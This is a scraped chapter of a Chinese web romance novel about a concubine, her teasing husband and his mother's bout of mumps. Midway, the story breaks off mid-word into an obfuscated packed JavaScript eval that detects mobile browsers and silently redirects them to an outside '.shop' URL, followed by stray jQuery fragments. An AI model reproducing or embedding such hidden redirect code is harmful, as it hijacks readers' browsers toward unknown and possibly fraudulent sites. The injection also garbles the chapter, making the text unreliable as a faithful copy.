文趣网 > 其他小说 > 貌美妾室驯服傲娇少爷 > 35. 折腾
    他和衣而卧,明枝想起昨夜来。

    裴朝郁在她去沐浴前放狠话,要叫她几天下不来床,可等明枝绞干湿发出来,他已经睡得不知天地为何物。

    夜里发梦惊醒后想起这事,抓着明枝狠狠讨伐了一顿,今早天不亮,便心满意足去了县衙。

    “在看什么?”

    明枝摇头:“没看什么。”

    半坐在床侧,裴朝郁拉着她的手往怀中一带,明枝趴倒在他胸膛,聆听起伏的心跳。

    这几日闻多了药味,明枝发间的馨香窜入鼻息,是令人舒适的沁心。

    裴朝郁手落在她后颈,问:“方才去了何处?”

    明枝如实:“去找了我大哥。”

    “怎么不叫上我一起?”

    明枝:“不过是说些没意思的家常话,夫君去了坐不住,生我气该如何是好?”

    裴朝郁轻捏她软肉,不满责问:“我有这么小气吗?”

    明枝小腿晃了晃,他的小气可远不止于此。

    摸了片刻,在明枝以为他睡着时,裴朝郁忽然道:“前些日子你生气我还想法子哄你,怎么到了我这处,你就不想管了?”

    明枝讲道理:“夫君哄是哄了,却未将我哄好呀。”

    “哦?”

    身子一轻,明枝被他托起撑在脸颊上方,裴朝郁追问:“难不成是那几日没将你伺候好?可我明明记着,夜里换过几次被褥,还是你……”

    话说到一半,明枝抬手堵住他的嘴:“夫君做了大半年的县丞,说话怎还是如此不着调,一点不知薄皮轻重。”

    裴朝郁在她掌心烫了下,有理有据道:“人人皆可叫我县丞,独你唤我一声夫君,我不同你谈论床笫之事,还要与你商讨天气变换社会动乱不成?”

    明枝收手:“夫君若是有心同我讨论,即便是说天气好与不好,一时半会也是说不完的。只有无心攀谈,才觉没有必要。“

    说到底,不过是日日想着夫妻之事罢了。

    心口被捶了一拳,裴朝郁闷哼一声道:“你我感情本就是在床榻之上培养起来的,你夫君是凡夫俗子,身上躺着绝色佳人若还不为所动,那才是真的无心。”

    明枝歪头:“强词夺理。”

    裴朝郁气笑了:“我这般说辞是强词夺理,你生气时的举动便是不可理喻。”

    她抬起的手又要落下,裴朝郁一把抓住:“方才还说我小气,现在看看,是谁存了小人之心蓄意报复?”

    “是我又如何?”

    “不如何。”裴朝郁扣住她腰肢:“我先前如何哄你的,今日让你哄回来便是。”

    说罢,裴朝郁双手一摊,一副任人宰割的模样躺在她身下。

    关起门来,这人当真没脸没皮。

    明枝双手撑在裴朝郁肩侧,她猜,这厮的眉眼许是随了父亲,不似周靖宁这般冷漠凶狠。心情好的时候,还有些许温柔和良善。

    明枝喜欢他的长相,尤其喜爱他高挺的鼻梁。每每裴朝郁亲昵蹭她的时候,都有难以言说的悸动。

    “夫君。”

    裴朝郁:“示好也不抵用。”

    明枝软身趴下,学着他的样子用鼻尖去蹭他鼻翼两侧,把握不好方向时,水唇难免擦过他唇心。

    “拿我寻开心呢?”

    明枝娇笑,埋脸在他胸膛,哄着:“夫君最好了。”

    裴朝郁很是受用,唇角不自觉扬起的弧度快到耳后根。明枝躺在他身上没抬头,看不见他肆无忌惮的得意。

    “这县城可有什么好玩的地方?”

    明枝说有:“看夫君想玩些什么,北城的美食糕点最为出名,除了县城往南下,一路游山玩水也是中意之举。不过眼下凝了霜冻,鲜少有人上山。”她好奇:“夫君是想出去游玩?”

    裴朝郁道:“过些日子松散下来,带你出去逛逛。”

    “真的吗?”明枝一下激动抬起头:“我可以叫上落落一同前往吗?”

    到底是年纪小,明枝的孩子气并未因着成婚散去,反倒积压在心底,攒得弥足珍贵。

    裴朝郁:“带她做什么?整天一个劲胡跑,只会让人操心。”

    明枝反驳:“落落性子活泼开朗,说话也极有意思,不管去何处都有人喜欢。夫君抗拒她跟着去,是怕被抢了风头不成。”

    “风头能值几个钱,她既爱出便叫她出。”裴朝郁挂心的另有其事:“你我单独出去尚有相处时间,带上她……”定是左右来回都抓不住人。

    明枝低头,在他眼皮上啄了小口:“夫君带上落落一起吧?好不好?”

    她的唇馨香柔软,裴朝郁挑眉哑声:“再多表示一点。”

    明枝倒腾两下和他脸贴脸,捧着裴朝郁下颌,亲亲他的眉毛,他的眼睛,还有中意的鼻梁。亲一下,她还探究着去看裴朝郁的神色。

    “哪儿学来的勾人招数?”

    明枝笑:“话本子上学的,夫君可还喜欢?”

    裴朝郁:“话本子上的方法过于含蓄简单,为夫教你些见效快且保准有效的。”

    “什么?”

    他视线往下,问:“可定做了新的小衣?”

    一下便知道他是何用意,明枝羞恼推了他一把,愤愤起身。裴朝郁笑着跟坐起,不等她溜走,反手将人按了下去。

    “为夫试试,这批布料可如先前那几批柔软舒适。”

    香肩半露,裴朝郁刚松了她腰间的束缚把握上去,还未来得及细细品尝,小芙忽地大喊。

    “少爷不好了!”

    “少爷!”

    他坐起身:“发生何事?”

    小芙:“夫人染了怪病,正在房中喊着要自尽了!”

    一阵慌乱整理好衣服,明枝跟在裴朝郁身侧速速朝主屋去。他走得又急又快,明枝三步并两步也跟不上,暗暗拉开距离,让他先去。

    裴朝郁走着走着右手往身侧去抓了把空气,惊停下脚,明枝隔他几丈也不敢停歇。

    “夫君且先去,我很快到。”

    急也不急这一时半会了,裴朝郁伸手牵着明枝,放缓了脚步。

    她小口喘息:“夫君莫要太担心,母亲定会没事。”

    “嗯。”

    踏至屋外,房里传来叮里哐啷的乱响,接着便是瓷杯茶壶应声碎裂。

    周靖宁大喊:“都给我滚!”

    生了病的缘故她此刻是想喊也喊不出来,嗓子像被针线密密麻麻缝在了一处。说句话,也只觉得东拉西扯、疼痛难忍。

    “母亲!”

    裴朝郁推门,青瓷花瓶扔到脚下,碎瓷片飞出打在衣服上,他伸手替明枝挡了下,望向周靖宁。

    她不知是怎么回事,双腮坚硬肿大和侧脸几乎平成一条线,甚至还有加剧的趋势。远远瞧着,跟□□鼓腮一模一样。

    往日头发丝都梳着贵气的人现在头上只用了根木簪,能扔的东西都扔了个遍,下人怕她伤了性命,将锋利的东西全都搬了出去。

    “郁儿!”

    周靖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577120|203058||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    宁悲泣大喊,嗓子却是高热后的嘶哑难忍。

    “娘对你不住,还没看到你成家,这便是要去了!”

    裴朝郁蹙眉:“母亲别乱说,先起来。”他搀扶着人:“大夫在何处?”

    下人胆颤:“就在客前候着,夫人谁也不让见。”

    裴朝郁:“去叫来。”

    “不行!”

    “谁敢去我就杀了谁!”

    下人尽数被震慑,裴朝郁叹气无奈。到了生死攸关的危机时刻,他这母亲,还要顾及身份和颜面。

    四下无人敢动,裴朝郁转头示意明枝去请大夫。

    她心中有数,冷静道:“母亲莫要担心,只是天冷患了痄腮,让大夫来把脉问诊后,煎药服上几日便能慢慢恢复如初。”

    裴朝郁:“当真?”

    周靖宁也看了过来。

    明枝肯定:“当真。我十四岁那年也得过此病,双腮肿大疼痛难忍,说话时喉咙里像藏了刀片一样难受,还觉着头晕目眩,四肢乏力,怎么着都不适。”

    周靖宁这一生都在后院里享受天乐,咳一声叹一气,便是纷至沓来的关心照顾。小病不日便好,大病未曾患过,对民间疾病是一分不知。

    严防死守也有出纰漏的时候,这一下染了个不好看的病,她宁愿是死,也不要叫人看见这幅丑陋模样。

    明枝说的症状,条条都与她相符合。周靖宁时而头晕眼花,时而无端暴躁,因着喉咙刺痛难忍,才对着无错的下人乱发脾气。

    裴朝郁问她:“因何会生这样的病?”

    明枝:“多半是季节变换所致,不过此病多发于十几岁的青年身上,且传染性极强。母亲会染应是同病人离得太近,说话之时呼吸交叉所染。”

    “怎么治?”

    明枝摇头:“药方还需大夫诊断后再开。”

    听到她说这病具有传染性,周靖宁猛地推开裴朝郁,让他有多远离多远。

    明枝:“夫君可患过此病,若是患过便不会再得。”

    裴朝郁:“未曾患过。”

    她浅笑道:“夫君还是先避开为好,若是放心,母亲就交由我来照顾。”

    “交给你,我怎么会不放心。”

    他还想说什么,被明枝打断:“夫君先去请大夫,耽误一刻母亲多难受一分,宜早不宜迟。”

    “好。”

    顾不上屋子凌乱,明枝避开碎片走到周靖宁身侧,将她扶至床榻休息。

    “母亲这几日还需静养,药补与食补相结合为宜,这病虽吓人了些,总归不是疑难杂症,只要谨遵医嘱,定好得快。”

    周靖宁冷声:“你一个丫头还懂得这些。”

    明枝笑意不减:“我不懂医,都是家中哥哥教导所得。”铺好床铺,她让周靖宁躺下:“母亲若觉不适可加高靠枕,我去加些热水来温着。”

    “使唤下人去做就行了,什么事你都亲力亲为,谁来照顾郁儿?”

    明枝只好作罢,将茶壶递给下人拿去灌满。

    不多时,裴朝郁便带回大夫来为周靖宁诊治。结果确实和明枝说的无二,开了药方让下人拿去抓药后,又开了剂食补的方子,一起吃。

    情绪波动后周靖宁服完药很快睡下,明枝准备关窗才发现,裴朝郁竟还站在外头。

    “夫君。”

    他转身:“要歇息了?”

    明枝:“这窗户对着母亲的床榻,关上为好。”

    裴朝郁:“你出来,我同你说几句话。”